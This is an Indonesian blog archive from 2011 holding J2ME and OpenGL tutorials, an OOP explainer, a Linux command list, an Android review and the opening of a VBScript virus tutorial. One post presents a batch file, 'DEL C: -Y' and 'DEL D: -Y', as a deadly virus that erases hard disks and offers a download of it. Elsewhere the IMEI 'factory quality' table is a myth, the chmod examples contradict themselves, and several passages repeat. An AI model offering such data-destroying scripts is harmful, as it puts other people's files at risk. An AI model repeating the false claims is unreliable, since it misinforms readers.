Buat project baru :
1. New project > Java ME > Mobile Application > Nama Project
(Canvas) > (pada device profile) pilih MIDP-2.0 (Nokia Symbian).
2. New > Java Package > Nama Package (HelloCanvas).
3. Kemudian buat class baru. New > MIDlet.. > Nama MIDlet (HelloCanvas)
4. Pada class HelloCanvas copykan script ini :
package HelloCanvas;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
class HelloCanvas extends Canvas implements CommandListener {
private Command exitCommand = new Command("Exit", Command.EXIT, 0);
private HelloCanvasMIDlet midlet;
private String text;
public HelloCanvas(HelloCanvasMIDlet midlet, String text) {
this.midlet = midlet;
this.text = text;
addCommand(exitCommand);
setCommandListener(this);
}
protected void paint(Graphics g) {
// membersihkan layar dengan mengisi semua layar dengan warna putih
g.setColor(33, 176, 22);
g.fillRect(0, 0, getWidth(), getHeight());
// mengatur warna tulisan dengan warna hitam
g.setColor(0, 0, 0);
// dan menulis sebuah text
g.drawString(text,
getWidth()/2, getHeight()/2,
Graphics.TOP | Graphics.HCENTER);
Font font = g.getFont();
g.drawString("NAMA : Gianar W K", getWidth()/2, getHeight()/2, Graphics.TOP | Graphics.HCENTER);
g.drawString("NIM : 105623266", getWidth()/2, getHeight()/2+font.getHeight(), Graphics.TOP | Graphics.HCENTER);
}
public void commandAction(Command c, Displayable d) {
if (c == exitCommand){
midlet.Quit();
}
}
}
5. Kemudian buat class lagi, New > MIDlet.. > Nama MIDlet (HelloCanvasMIDlet)
6. Pada class HelloCanvasMIDlet copykan script ini :
package HelloCanvas;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
public class HelloCanvasMIDlet extends MIDlet {
private Display display;
HelloCanvas canvas;
Command exitCommand = new Command("Exit", Command.EXIT, 0);
public void startApp() {
if (display == null){
canvas = new HelloCanvas(this, "");
display = Display.getDisplay(this);
}
display.setCurrent(canvas);
}
public void pauseApp() {
}
public void destroyApp(boolean unconditional) {
}
protected void Quit(){
destroyApp(true);
notifyDestroyed();
}
}
Rabu, 12 Oktober 2011
Membuat List pada Java Mobile
Buat project baru :
1. New project > Java ME > Mobile Application > Nama Project (Listener) > (pada device profile) pilih MIDP-2.0 (Nokia Symbian).
2. New > Java Package > Nama Package (Listener).
3. Kemudian New > MIDlet.. > Nama MIDlet (Listener)
4. Pada class Listener copykan script
package Listener;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
public class Listener extends MIDlet implements CommandListener {
Display display;
List list;
Command exitCommand = new Command("Exit", Command.EXIT, 1);
Command newCommand = new Command("New item", Command.OK, 1);
Command renameCommand = new Command("Rename item", Command.OK, 1);
Command deleteCommand = new Command("Delete item", Command.OK, 1);
Ticker ticker = new Ticker ("JEDI - Java Education and Development Initiative");
public Listener(){
list = new List("JEDI: List Example", List.IMPLICIT); // ( Tipe list ) List.EXCLUSIVE, List.MULTIPLE
list.append("List Item #1", null);
list.append("List Item #2", null);
list.append("List Item #3", null);
list.setTicker(ticker);
list.addCommand(exitCommand);
list.addCommand(newCommand);
list.addCommand(renameCommand);
list.addCommand(deleteCommand);
list.setCommandListener(this);
}
public void startApp() {
if (display == null){
display = Display.getDisplay(this);
display.setCurrent(list);
}
}
public void pauseApp() {
}
public void destroyApp(boolean unconditional) {
}
public void commandAction(Command c, Displayable d) {
if (c == exitCommand){
destroyApp(true);
notifyDestroyed(); //exit
}
if (c==List.SELECT_COMMAND){
int index = list.getSelectedIndex();
String currentItemm = list.getString(index);
// menjalankan suatu hal
}
}
}
1. New project > Java ME > Mobile Application > Nama Project (Listener) > (pada device profile) pilih MIDP-2.0 (Nokia Symbian).
2. New > Java Package > Nama Package (Listener).
3. Kemudian New > MIDlet.. > Nama MIDlet (Listener)
4. Pada class Listener copykan script
package Listener;
import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;
public class Listener extends MIDlet implements CommandListener {
Display display;
List list;
Command exitCommand = new Command("Exit", Command.EXIT, 1);
Command newCommand = new Command("New item", Command.OK, 1);
Command renameCommand = new Command("Rename item", Command.OK, 1);
Command deleteCommand = new Command("Delete item", Command.OK, 1);
Ticker ticker = new Ticker ("JEDI - Java Education and Development Initiative");
public Listener(){
list = new List("JEDI: List Example", List.IMPLICIT); // ( Tipe list ) List.EXCLUSIVE, List.MULTIPLE
list.append("List Item #1", null);
list.append("List Item #2", null);
list.append("List Item #3", null);
list.setTicker(ticker);
list.addCommand(exitCommand);
list.addCommand(newCommand);
list.addCommand(renameCommand);
list.addCommand(deleteCommand);
list.setCommandListener(this);
}
public void startApp() {
if (display == null){
display = Display.getDisplay(this);
display.setCurrent(list);
}
}
public void pauseApp() {
}
public void destroyApp(boolean unconditional) {
}
public void commandAction(Command c, Displayable d) {
if (c == exitCommand){
destroyApp(true);
notifyDestroyed(); //exit
}
if (c==List.SELECT_COMMAND){
int index = list.getSelectedIndex();
String currentItemm = list.getString(index);
// menjalankan suatu hal
}
}
}
Selasa, 11 Oktober 2011
Membuat Garis dengan Open - GL
Sebelum membuat project ini, terlebih dahulu kita membuat titik koordinat (x,y). Buatlah skala pada garis (x,y). Tentukan dimana titik dan garis tersebut akan anda buat.
#include <glut.h>
#include <stdio.h>
void userdraw(void);
void drawDot(int x, int y) // drawDot untuk membuat titik
{
glBegin(GL_POINTS);
glVertex2i(x,y);
glEnd();
}
void setColor(float red, float green, float blue) {
glColor3f(red, green, blue);
}
void userdraw(void)
{
glPointSize(3);
setColor(0.,0.,1.);
glBegin(GL_POINTS); // perintah mulai pembuatan titik dari titik koordinat
glVertex2i(180,220); // titik dibuat pada garis x(180) dan y(220)
glVertex2i(180,140);
glVertex2i(280,180);
glVertex2i(280,260);
glEnd();
glBegin(GL_LINES); // perintah mulai pembuatan garis dari titik koordinat
glVertex2i(120,160); // titik dibuat pada garis x(120) dan y(160)
glVertex2i(180,240); // kemudian ditarik ke titik x(180) dan y(240)
glVertex2i(120,160);
glVertex2i(240,160);
glVertex2i(240,160);
glVertex2i(180,240);
glVertex2i(280,160);
glVertex2i(220,240);
glVertex2i(340,240);
glVertex2i(280,160);
glVertex2i(220,240);
glVertex2i(340,240);
glEnd();
}
void display (void) {
glClear(GL_COLOR_BUFFER_BIT);
userdraw();
glFlush();
}
void main (int argc, char**argv) {
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_SINGLE|GLUT_RGB);
glutInitWindowPosition(100, 150);
glutInitWindowSize(640, 480);
glutCreateWindow("titik");
glClearColor(1.0, 1.0, 1.0, 0.0);
gluOrtho2D(0., 640.,0.0,480.0);
glutDisplayFunc(display);
glutMainLoop();
}
#include <glut.h>
#include <stdio.h>
void userdraw(void);
void drawDot(int x, int y) // drawDot untuk membuat titik
{
glBegin(GL_POINTS);
glVertex2i(x,y);
glEnd();
}
void setColor(float red, float green, float blue) {
glColor3f(red, green, blue);
}
void userdraw(void)
{
glPointSize(3);
setColor(0.,0.,1.);
glBegin(GL_POINTS); // perintah mulai pembuatan titik dari titik koordinat
glVertex2i(180,220); // titik dibuat pada garis x(180) dan y(220)
glVertex2i(180,140);
glVertex2i(280,180);
glVertex2i(280,260);
glEnd();
glBegin(GL_LINES); // perintah mulai pembuatan garis dari titik koordinat
glVertex2i(120,160); // titik dibuat pada garis x(120) dan y(160)
glVertex2i(180,240); // kemudian ditarik ke titik x(180) dan y(240)
glVertex2i(120,160);
glVertex2i(240,160);
glVertex2i(240,160);
glVertex2i(180,240);
glVertex2i(280,160);
glVertex2i(220,240);
glVertex2i(340,240);
glVertex2i(280,160);
glVertex2i(220,240);
glVertex2i(340,240);
glEnd();
}
void display (void) {
glClear(GL_COLOR_BUFFER_BIT);
userdraw();
glFlush();
}
void main (int argc, char**argv) {
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_SINGLE|GLUT_RGB);
glutInitWindowPosition(100, 150);
glutInitWindowSize(640, 480);
glutCreateWindow("titik");
glClearColor(1.0, 1.0, 1.0, 0.0);
gluOrtho2D(0., 640.,0.0,480.0);
glutDisplayFunc(display);
glutMainLoop();
}
Membuat Titik dengan Open - GL
Sebelum membuat project ini, terlebih dahulu kita membuat titik
koordinat (x,y). Buatlah skala pada garis (x,y). Tentukan dimana titik tersebut akan anda buat.
#include<glut.h>
#include<stdio.h>
void userdraw(void);
void drawDot(float x, float y) //Untuk membuat titik
{
glBegin(GL_POINTS);
glVertex2f(x,y);
glEnd();
}
void setColor(float red, float green, float blue) {
glColor3f(red, green, blue);
}
void userdraw(void) {
glPointSize(3); // Ketebalan titik
setColor(0.,0.,1.); // warna titik (red, green, blue)
for(int i=0;i<20;i+=5); {
for(int j=0;j<20;j+=5) {
drawDot(10.0+i,10.0+j);
}
}
}
void display (void) {
glClear(GL_COLOR_BUFFER_BIT);
userdraw();
glFlush();
}
void main (int argc, char **argv) {
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_SINGLE|GLUT_RGB);
glutInitWindowPosition(100, 150);
glutInitWindowSize(640, 480);
glutCreateWindow("titik");
glClearColor(1.0, 1.0, 1.0, 0.0);
gluOrtho2D(0., 640.,0.0,480.0);
glutDisplayFunc(display);
glutMainLoop();
}
#include<glut.h>
#include<stdio.h>
void userdraw(void);
void drawDot(float x, float y) //Untuk membuat titik
{
glBegin(GL_POINTS);
glVertex2f(x,y);
glEnd();
}
void setColor(float red, float green, float blue) {
glColor3f(red, green, blue);
}
void userdraw(void) {
glPointSize(3); // Ketebalan titik
setColor(0.,0.,1.); // warna titik (red, green, blue)
for(int i=0;i<20;i+=5); {
for(int j=0;j<20;j+=5) {
drawDot(10.0+i,10.0+j);
}
}
}
void display (void) {
glClear(GL_COLOR_BUFFER_BIT);
userdraw();
glFlush();
}
void main (int argc, char **argv) {
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_SINGLE|GLUT_RGB);
glutInitWindowPosition(100, 150);
glutInitWindowSize(640, 480);
glutCreateWindow("titik");
glClearColor(1.0, 1.0, 1.0, 0.0);
gluOrtho2D(0., 640.,0.0,480.0);
glutDisplayFunc(display);
glutMainLoop();
}
Senin, 15 Agustus 2011
Cara Membuat Virus yang Cukup Mematikan
Virus yang akan kita buat adalah virus yang bisa dikatakan jauh lebih mematikan dari pada virus - virus lainnya. Mungkin cara ini cukup ekstrim untuk dipraktikan. Jadi, jangan sampai artikel ini disalah gunakan.
Langsung saja, buka notepad dan ketikkan script berikut ini :
@echo off
DEL C: -Y
DEL D: -Y
Langsung saja, buka notepad dan ketikkan script berikut ini :
@echo off
DEL C: -Y
DEL D: -Y
Kemudian simpan, lalu ubah [Save as type] menjadi [All Files], dan pada kotak [File Name] beri nama virus ini dengan kata apa saja terserah Anda dan diakhiri dengan kata .bat, misal virus.bat , kemudian klik save.
Setelah file ini disimpan, JANGAN DIKLIK!!!
Virus ini adalah virus yang sangat mematikan, bila anda mengklik virus ini, maka seluruh data yang ada di hardisk anda akan hilang tanpa terkecuali. Sehingga, hal ini dapat menyebabkan komputer Anda akan mati total. Untuk sampel virusnya bisa langsung download disini jika tidak ingin memakai cara copy paste diatas.
Setelah file ini disimpan, JANGAN DIKLIK!!!
Virus ini adalah virus yang sangat mematikan, bila anda mengklik virus ini, maka seluruh data yang ada di hardisk anda akan hilang tanpa terkecuali. Sehingga, hal ini dapat menyebabkan komputer Anda akan mati total. Untuk sampel virusnya bisa langsung download disini jika tidak ingin memakai cara copy paste diatas.
Jumat, 12 Agustus 2011
Konsep Dasar Pemrograman Berorientasi Objek
Pemrograman berorientasi objek (Inggris: object-oriented programming disingkat OOP) merupakan paradigma pemrograman yang berorientasikan kepada objek. Semua data dan fungsi di dalam paradigma ini dibungkus dalam kelas-kelas atau objek-objek. Bandingkan dengan logika pemrograman terstruktur. Setiap objek dapat menerima pesan, memproses data, dan mengirim pesan ke objek lainnya.
Model data berorientasi objek dikatakan dapat memberi fleksibilitas yang lebih, kemudahan mengubah program, dan digunakan luas dalam teknik piranti lunak skala besar. Lebih jauh lagi, pendukung OOP mengklaim bahwa OOP lebih mudah dipelajari bagi pemula dibanding dengan pendekatan sebelumnya, dan pendekatan OOP lebih mudah dikembangkan dan dirawat.Konsep dasar dari Pemrograman Berorientasi Objek
Pemrograman orientasi-objek menekankan konsep berikut:
- kelas — kumpulan atas definisi data dan fungsi-fungsi dalam suatu unit untuk suatu tujuan tertentu. Sebagai contoh 'class of dog' adalah suatu unit yang terdiri atas definisi-definisi data dan fungsi-fungsi yang menunjuk pada berbagai macam perilaku/turunan dari anjing. Sebuah class adalah dasar dari modularitas dan struktur dalam pemrograman berorientasi object. Sebuah class secara tipikal sebaiknya dapat dikenali oleh seorang non-programmer sekalipun terkait dengan domain permasalahan yang ada, dan kode yang terdapat dalam sebuah class sebaiknya (relatif) bersifat mandiri dan independen (sebagaimana kode tersebut digunakan jika tidak menggunakan OOP). Dengan modularitas, struktur dari sebuah program akan terkait dengan aspek-aspek dalam masalah yang akan diselesaikan melalui program tersebut. Cara seperti ini akan menyederhanakan pemetaan dari masalah ke sebuah program ataupun sebaliknya.
- Objek - membungkus data dan fungsi bersama menjadi suatu unit dalam sebuah program komputer; objek merupakan dasar dari modularitas dan struktur dalam sebuah program komputer berorientasi objek.
- Abstraksi - Kemampuan sebuah program untuk melewati aspek informasi yang diproses olehnya, yaitu kemampuan untuk memfokus pada inti. Setiap objek dalam sistem melayani sebagai model dari "pelaku" abstrak yang dapat melakukan kerja, laporan dan perubahan keadaannya, dan berkomunikasi dengan objek lainnya dalam sistem, tanpa mengungkapkan bagaimana kelebihan ini diterapkan. Proses, fungsi atau metode dapat juga dibuat abstrak, dan beberapa teknik digunakan untuk mengembangkan sebuah pengabstrakan.
- Enkapsulasi - Memastikan pengguna sebuah objek tidak dapat mengganti keadaan dalam dari sebuah objek dengan cara yang tidak layak; hanya metode dalam objek tersebut yang diberi ijin untuk mengakses keadaannya. Setiap objek mengakses interface yang menyebutkan bagaimana objek lainnya dapat berinteraksi dengannya. Objek lainnya tidak akan mengetahui dan tergantung kepada representasi dalam objek tersebut.
- Polimorfisme melalui pengiriman pesan. Tidak bergantung kepada pemanggilan subrutin, bahasa orientasi objek dapat mengirim pesan; metode tertentu yang berhubungan dengan sebuah pengiriman pesan tergantung kepada objek tertentu di mana pesa tersebut dikirim. Contohnya, bila sebuah burung menerima pesan "gerak cepat", dia akan menggerakan sayapnya dan terbang. Bila seekor singa menerima pesan yang sama, dia akan menggerakkan kakinya dan berlari. Keduanya menjawab sebuah pesan yang sama, namun yang sesuai dengan kemampuan hewan tersebut. Ini disebut polimorfisme karena sebuah variabel tungal dalam program dapat memegang berbagai jenis objek yang berbeda selagi program berjalan, dan teks program yang sama dapat memanggil beberapa metode yang berbeda di saat yang berbeda dalam pemanggilan yang sama. Hal ini berlawanan dengan bahasa fungsional yang mencapai polimorfisme melalui penggunaan fungsi kelas-pertama.
- Inheritas- Mengatur polimorfisme dan enkapsulasi dengan mengijinkan objek didefinisikan dan diciptakan dengan jenis khusus dari objek yang sudah ada - objek-objek ini dapat membagi (dan memperluas) perilaku mereka tanpa haru mengimplementasi ulang perilaku tersebut (bahasa berbasis-objek tidak selalu memiliki inheritas.)
- Dengan menggunakan OOP maka dalam melakukan pemecahan suatu masalah kita tidak melihat bagaimana cara menyelesaikan suatu masalah tersebut (terstruktur) tetapi objek-objek apa yang dapat melakukan pemecahan masalah tersebut. Sebagai contoh anggap kita memiliki sebuah departemen yang memiliki manager, sekretaris, petugas administrasi data dan lainnya. Misal manager tersebut ingin memperoleh data dari bag administrasi maka manager tersebut tidak harus mengambilnya langsung tetapi dapat menyuruh petugas bag administrasi untuk mengambilnya. Pada kasus tersebut seorang manager tidak harus mengetahui bagaimana cara mengambil data tersebut tetapi manager bisa mendapatkan data tersebut melalui objek petugas adminiistrasi. Jadi untuk menyelesaikan suatu masalah dengan kolaborasi antar objek-objek yang ada karena setiap objek memiliki deskripsi tugasnya sendiri.
Mengetahui Kualitas HP Nokia GSM Anda & Buatan Mana
Cara mengetahui kualitas HP nokia bisa di lihat dari nomor imei HP. Biasanya ada pada bagian dalam HP yang tertutup oleh baterai. Tapi bisa juga dengan cara menekan tombol *#06# biasanya nomor imei terdiri dari 15 digit (angka). Dan pada urutan angka imei yg ke7 dan 8 adalah kode dimana HP itu di buat.
Dan ini kode negara pabrikan nokia :
Dan ini kode negara pabrikan nokia :
13 adalah buatan azarbaijan dengan kualitas paling buruk.
02 dan 20 adalah buatan UEA uni emirat arab (Asia) dengan kualitas kurang bagus.
04 dan 40 adalah buatan india dengan kualitas kurang bagus.
03 dan 30 adalah buatan china dengan kualitas biasa saja.
08 dan 80 adalah buatan jerman dengan kualitas cukup baik.
01 dan 10 adalah buatan finlandia dengan kualitas lumayan baik.
00 adalah buatan prancis dengan kualitas tangguh dan sangant baik.
Contoh : nomor imei 832001'03'8499010
kodenya adalah ’03′ berati buatan china.
kodenya adalah ’03′ berati buatan china.
*Cara ini hanya berlaku untuk HP nokia GSM bukan CDMA.
Jika Handphone anda tidak termasuk dari salah satu di atas berarti HP anda adalah HP tidak original.
Perintah-Perintah Dasar Linux Berbasis Text
Sekilas Tentang Command Line
Seperti halnya bila Anda mengetikkan perintah diDOS, Command Line atau baris perintah di Linux juga diketikkan di prompt dan di akhiri dengan menekan tombol Enter pada Keyboard untuk mengeksekusi perintah tersebut.
Penjelasan masing-masing perintah akan dipersingkat dan untuk mengetahui lebih detailnya, Anda dapat melihat manualnya, yaitu dengan mengetikkan perintah :
contoh :$ man ls
perintah diatas digunakan untuk menampilkan bagaimana cara menggunakan perintah ls secara lengkap.
Perintah-perintah Dasar Linux
berikut ada beberapa daftar perintah yang digunakan untuk menjalankan S.O Linux berbasis Text :
- &
- adduser
- alias
- bg
- cat
- cd
- chgrp
- chmod
- chown
- cp
- fg
- find
- grep
- gzip
- halt
- hostname
- kill
- less
- login
- logout
- ls
- man
- mesg
- mkdir
- more
- mount
- mv
- passwd
- pwd
- rm
- rmdir
- shutdown
- su
- tail
- talk
- tar
- umount
- unalias
- unzip
- wall
- who
- xhost
- xset
- zip
- &
contoh :
wget http://Darksevens.wordpress.com &
perintah & dipakai dibelakang perintah lain untuk menjalankannya di bakcground. Apa itu jalan do background ??? jalan dibackground maksudnya adalah kita membiaarkan sistem untuk menjalankan perintah sendiri tanpa partisipasi kita, dan membebaskan shell/command prompt agar bisa dipergunakan menjalankan perintah yang lain.
- adduser
biasanya hanya dilakukan oleh root untuk menambahkan user atau account yang baru. Setelah perintah ini bisa dilanjutkan dengan perintah passwrd, yaitu perintah untuk membuat password bagi user tersebut.
contoh :
#adduser (nama account)
#passwd (passwordnya)
NB. tanpa kurung..
perhatikan bahwa semua perintah yang membutuhkan akses root, disini saya tulis dengan menggunakan tanda “#” (tanpa tanda petik), untuk memudahkan Anda membedakannya dengan perintah yang tidak perlu akses root
jika Anda menjalankan perintah adduser, Anda akan diminta memasukkan password untuk user yang Anda buat. Isikan password untuk user baru tersebut dua kali dengan kata yang sama.
- alias
$ alias dir=ls
kalau Anda suka dengan tampilan berwarna-warna, cobalah bereksperimen dengan perintah berikut :
$ alias dir=ls-ar-color:always
untuk melihat perintah-perintah apa saja yang mempunyai nama lain saat itu, cukup ketikkan alias saja (tanpa argumen).
NB : Lihat juga perintah unalias
- bg
NB : Lihat juga fg
- cat
contoh :
$ cat/nama/suatu/file
- cd
- chgrp
# chgrp
- chmod
- r untuk read
- w untuk write dan
- x untuk execute
misalnya unutk memberikan ijin dan eksekusi “coba” kepada owner dan group, perintahnya adalah :
$ chmod 700 coba
unutk mencabut ijin-ijin tersebut :
$ chmod ug-rx coba
dengan menggunakan sistem numeric coding, permission untuk user, group dan other ditentukan dengan menggunakan kombinasi angka-angka 4,2 dan 1 dimana 4 (read), 2 (write), dan 1 (execute)
misalnya unutk memberikan ijin baca (4), tulis (2) dan eksekusi (1) file “coba” kepada owner, perintahnya adalah :
$ chmod 700 coba
contoh l;ain, untuk memberi ijin baca (4) dan tulis (2) file “coba” kepada user, baca (4) saja kepada group dan other, perintahnya adalah :
$ chmod 700 coba
contoh lainnya, untuk memberi ijin baca (4) dan tulis (2) file coba kepada user, baca (4) saja kepada group dan other, perintahnya adalah :
$chmood 644 coba
perhatikan : jika Anda hosting di server berbasis linux, perintah ini sangat penting sekali bagi keamanan data Anda. Saya sarankan semua directory yang tidak perlu Anda tulis di chmood 100 (jika apache jalan sebagai current user (Anda)) atau di chmood 501 jika apache jalan sebagai www-data atau nobody (user alin)
- chown
contoh :
$ chown
- cp
$ cp
- fg
- find
$ find. -name *.doc -print
contoh hasilnya :
. /public/docs/account.doc
. /public/docs/balance.doc
. /public/docs/statistik/prospek.doc
. /public/docs/statistik/presconf.doc
- grep
format perintah :
$ grep
misalnya akan dicari file-file yang mengandung teks marginal di current direktori :
$ grep marginal
diferent.doc
NB : perkataan marginal luas dipergunakan di dalam ilmu ekonomi prob.rtf, oleh fungsi hasil marginal dan fungsi biaya marginal jika fungsi prob.rtf, jika biaya marginal dan hasil marginal diketahui maka biaya total
- gzip
$ gzip
walaupun demikian Anda bisa memberikan parameter tertentu bilsa memerlukan kompresi file yang lebih baik, silakan merlihat manual pagenya. Lihat juga file tar, unzip, dan zip
- halt
perintah ini untuk memberitahu kernel supaya mematikan sistem atau shutdown.
- hostname
contoh :
[user@localhost mydirectoryname] $ hostname
localhost.localdomain
- kill
contoh :
$ kill
PID adalah nomor proses yang akan dihentikan, tidak tahu PID proses mana yang mau hentikan !!! cobalah bereksperimen dengan perintah :
ps aux | grep
less
fungsinya seperti perintah more
- login
- lougout
- is
- man
contoh :
$ man
- mesg
contoh :
$ mesg y atau mesg n
gunakan mesg n bila Anda tidak ingin diganggu dengan tampilan pesan-pesan dari user lain
- mkdir
- more
- mount
contoh :
$ mount
/dev/hda3 on/type ext2 (rw)
none on/proc type proc (rw)
/dev/hdai on/usr type ext2 (rw)
/dev/hda4 on/pts type devpts (rw, mode = 0622)
- mv
- passwd
- pwd
- rm
- rmdir
- su
- tail
contoh :
$ tail
- talk
- tar
contoh sintak :
$ tar
contoh :
$ tar darksevens.tar.gz/nama/direktori/*
perinath diatas digunakan untuk memasikkan semua isi direktori, lalu dikompresi dengan format tar lalu dizip dengan gzip, sehingga menghasilkan sebuah file bernama darksevens.tar.gz
$ tar -xzv darksevens.tar.gz
perintah diatas untuk mengekstrak file bernama darksevens.tar.gz
- umount
contoh :
$ unmount
- unalias
$ unalias dir
- unzip
contoh :
$ unzip
NB : lihat juga perintah gzip
- wall
contoh :
# wall dear, everyone…..simpan semua tugas kalian, sebentar lagi server akan saya matikan selama 5 menit.
- who
contoh :
$ who
root ttypo July 29 20.00
wawan ttypo July 29 21.00
kodok ttypo July 29 22.00
- xhost
- xset
contoh :
$ xset b
$ xset m
- zip
NB : lihat juga perintah gzip dan unzip
Kelebihan dan Kelemahan Ponsel Android
Boomingnya pemakaian ponsel besutan google ini tak urung menimbulkan rasa penasaran kita semua. Sebenarnya apa sih kehebatan dan keunggulan ponsel android dibandingkan dengan ponsel lainnya. Bahkan disinyalir ponsel android ini bisa menyaingi black berry dalam hal penjualannya. Lebih lanjut mengenai kelebihan dan kekurangan ponsel android silahkan simak artikel berikut:
Ponsel Android Mulai Serbu Indonesia
Menjelang akhir Februari lalu, Indosat bermanuver cepat untuk produk yang sebenarnya belum dikenal luas masyarakat awam Indonesia, yaitu telepon seluler berbasis sistem operasi Android. Ya, dengan menggandeng enam produsen agen tunggal pemegang merek, tampaknya Indosat serius dengan Android.
Enam agen tunggal pemegang merek (ATPM) itu tak tanggung-tanggung. Mereka adalah HTC dengan HTC Hero, Motorola dengan Motorola Milestone, Samsung dengan Samsung Galaxy Spica, LG dengan LG GW 620, Huawei dengan U8230, dan Sony Ericsson dengan Xperia X10.
Jumlah enam ATPM ini seolah memberikan sinyal bahwa Indosat tak ingin ketinggalan start untuk menggarap pasar Android di Indonesia. Akankah bisa booming seperti euforia BlackBerry?
Walau sudah pasang kuda-kuda sejak 22 Februari, secara resmi Indosat bersama partnernya baru meluncurkan ponsel-ponsel berbasis Android mulai Rabu (3/3), di ajang Indosat Android Expo, yang digelar serentak di tujuh kota di Indonesia (Jakarta, Bandung, Semarang, Yogyakarta, Surabaya, Malang, dan Makassar), pada event Mega Bazar Computer, 3-7 Maret 2010.
Walau merilis bareng-bareng dengan ATPM, Indosat tak ingin mengunci ponsel tersebut hanya untuk operatornya. Tampaknya ”koalisi” ini bersifat cair dan tak mengikat mengingat Indosat juga masih memberikan peluang ATPM lain untuk bergabung.
Dibandingkan dengan negara-negara di Asia lain, peluncuran produk-produk Android di Indonesia ini cukup bombastis walau masih menyimpan teka-teki, benarkah produk ini pilihan strategis untuk publik pada umumnya di Indonesia. Hal itu mengingat potensi pasar Indonesia masih didominasi masyarakat awam.
Android adalah produk ponsel cerdas yang menuntut penggunanya juga harus cerdas dan akan lebih bagus jika selalu tersambung ke jaringan internet setiap saat. Tanpa koneksi internet memadai, Android tak punya kelebihan dibandingkan dengan ponsel pintar lainnya. Ponsel Android ibaratnya sebuah komputer, kegunaan komputer itu akan semakin fantastis jika pengguna bisa memilih dan meng-install aplikasi berguna.
Sistem operasi Android yang menggunakan versi modifikasi dari kernel Linux ini awalnya dikembangkan Android Inc, sebuah perusahaan yang kemudian dibeli Google dan akhir-akhir ini oleh Open Handset Alliance.
Android sejak awal memiliki konsep sebagai software berbasis kode komputer yang didistribusikan secara terbuka (open source) dan gratis. Open source inilah sebenarnya kata kunci mengapa Android begitu seksi di mata para petualang gadget.
Keuntungan open source, banyak pengembang software yang bisa melihat dan memanfaatkan kode itu serta bisa membuat aplikasi baru di dalamnya. Satu hal yang unik, berbagai aplikasi itu diwadahi dalam sebuah portal, yaitu Android Market, sehingga pengguna tinggal meng-install aplikasi pilihannya.
Semua ponsel Android yang langsung bekerja sama dengan Google akan punya akses ke Android Market. Namun, sekarang juga sudah tumbuh portal software market di luar Android Market yang memungkinkan ponsel-ponsel Android yang ”indie” bisa menyediakan layanan instalasi berbagai aplikasi tambahan yang dibutuhkan.
Di portal Android Market dan sejenisnya disediakan ribuan aplikasi, yang mayoritas bisa didapatkan secara gratis. Ponsel Android ditunggu-tunggu kehadirannya oleh penggemar yang mania internet, terutama mereka yang sudah tak terpisahkan dari berbagai aplikasi khas dari Google, seperti Google Search, Google Talk, Gmail, Google Maps, dan Google Calendar.
Akses internet penuh
Yup, tak ada yang meragukan bahwa Android itu canggih. Tetapi, apakah pasar Indonesia akan meresponsnya dengan antusias? Inilah teka-teki yang masih belum terjawab.
Namun, Guntur S Siboro, Chief Marketing Officer Indosat, punya alasan kuat dan optimistis dengan masa depan Android. ”Pengalaman berinternet pertama kali bagi masyarakat Indonesia itu lewat ponsel, bukan lewat komputer konvensional. Karena itu, pilihan Android ini merupakan pilihan tepat untuk mendorong pertumbuhan internet di Indonesia,” katanya.
Oh, akhirnya internet adalah salah satu alasan kuat untuk meluncurkan sebuah produk. Hal yang melegakan, alasan ini akan diikuti dengan berbagai paket layanan data dari Indosat yang akan mendukung fungsi Android. Salah satu layanan paket data yang digadang-gadang itu adalah Paket Prepaid Broadband, yaitu akses broadband dengan menggunakan kartu IM3/Mentari dengan cara dial ke *777*1*5# serta Paket Prepaid Broadband IM2 (mulai tanggal 25 Februari 2010). Pelanggan IM3/Mentari juga bisa menggunakan paket Broadband IM2 serta tentunya handset Android dengan harga spesial.
Dulu, ketika IM2 diluncurkan pertama kali, penulis sempat berlangganan dan di akhir cerita kecewa dengan tagline broadband di dalamnya karena faktanya tak seperti yang dijanjikan, banyak daerah yang tak terjangkau. Semoga paket data kali ini benar-benar akses broadband.
Untuk paket data IM3/Mentari, ya IM3/Mentari memang sudah lama menjadi salah satu favorit penulis karena harga yang murah dan masih nyaman untuk keperluan data normal. Tetapi, dengan ponsel Android dan kartu IM3 di dalamnya (paket data standar IM3 yang bukan broadband), ketika menjalankan fungsi Google Maps, beberapa kali penulis harus berhenti sejenak di tepi jalan untuk menunggu load data dari peta agar tampil sempurna selama perjalanan.
Semoga paket data yang baru, yaitu yang menggunakan dial ke *777*1*5#, bisa benar-benar membuat ponsel Android berfungsi sebagai gadget dahsyat. Jika benar demikian, tak sia-sia dukungan para komunitas Android yang datang di acara peluncuran Adroid, 22 Februari lalu.
(Sumber: KOMPAS.COM)
untuk lebih jelasnya silahkan kunjungi website resminya android di http://android-indonesia.com.
Nah sebagai ringkasan tentang kelebihan dan kekurangan android dapat aku simpulkan sebagai berikut:
1. tidak perlu bayar untuk download aplikasi.
2. Didukung penuh google. Jadi kita dapat menikmati semua layanan google seperti gmail, youtube, dan fasilitas google lainnya.
3. Stabil dan nggak mudah error atau hang.
4. Aman dari virus karena berbasis linux (kernel 2.6).
5. Aplikasi game 3 D nya sangat stabil dan mantap.
6. Konektivitas lengkap. Bluetooth, wifi, GPS.
7. Layar sentuh bagus pakai tangan nggak bisa pakai stylus.
8. Harga relatif murah.
Sedangkan kelemahannya antara lain:
1. Kurang nyaman untuk telepon.
2. Masih membingungkan bila pertama pakai.
3. Tidak ada Microsoft office.
4. Harus terkoneksi internet.
5. Belum banyak aplikasi yang tersedia.
Cara Membuat Virus dengan Visual Basic Script
Untuk membuat sebuah virus tidaklah terlalu sulit hanya dengan menggunakan tool notepad saja kita sudah bisa membuat virus. Tetapi alangkah baiknya jika kita memahami sedikit bahasa pemrograman seperti Visual Basic. Sebelum kita bahas lebih jauh lagi penulis akan menjelaskan terlebih dahulu prinsip kerja virus pada umumnya.
Prinsip Kerja Virus1. Virus pada dasarnya hanyalah sebuah program atau skrip pemrograman seperti halnya program-program yang sering kita temukan: Ms Word, Excel, Corel dan lain-lain. Hanya saja program ini dibuat untuk tujuan yang kurang baik bahkan merusak.
